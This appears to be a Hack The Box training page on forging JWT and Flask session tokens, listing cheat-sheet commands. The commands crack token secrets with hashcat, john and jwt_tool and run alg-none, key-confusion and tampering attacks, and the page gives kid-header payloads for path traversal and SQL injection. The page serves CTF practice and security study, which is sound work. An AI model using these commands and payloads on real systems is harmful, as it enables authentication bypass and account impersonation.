Forge Web Credentials
Creating valid session cookies or tokens (JWT, Flask) by signing them with a stolen or weak secret.
How it shows up on Hack The Box
If you find Flask's SECRET_KEY or a JWT secret (in the code, a .env or by cracking it), sign yourself an admin token. Also try alg none and RS256/HS256 confusion.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- JWT attacks: alg none, weak secrets, algorithm confusion and kid injection 4 min read How to read a JSON Web Token, crack its secret with hashcat, abuse alg none and RS256 to HS256 confusion, and inject into the kid and jku headers to sign your own tokens.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
JWT analyser › Attacks
echo -n 'eyJhbGciOi...' > jwt.txt
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
python3 jwt_tool.py <JWT>
python3 jwt_tool.py -t http://10.10.11.20/api/me -rh "Authorization: Bearer <JWT>" -M at
python3 jwt_tool.py <JWT> -X a
python3 jwt_tool.py <JWT> -X k -pk public.pem
The public key is often at /jwks.json, /.well-known/jwks.json or in the TLS certificate.
python3 jwt_tool.py <JWT> -X i
python3 jwt_tool.py <JWT> -T -S hs256 -p 'secreto'
{"alg":"HS256","typ":"JWT","kid":"../../../../../../dev/null"}
Then sign with an empty secret.
{"alg":"HS256","typ":"JWT","kid":"x' UNION SELECT 'pwned'-- -"}
If the server looks the key up in a database, sign with the secret "pwned".
jwt_tool › Crack the secret
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
No command matches.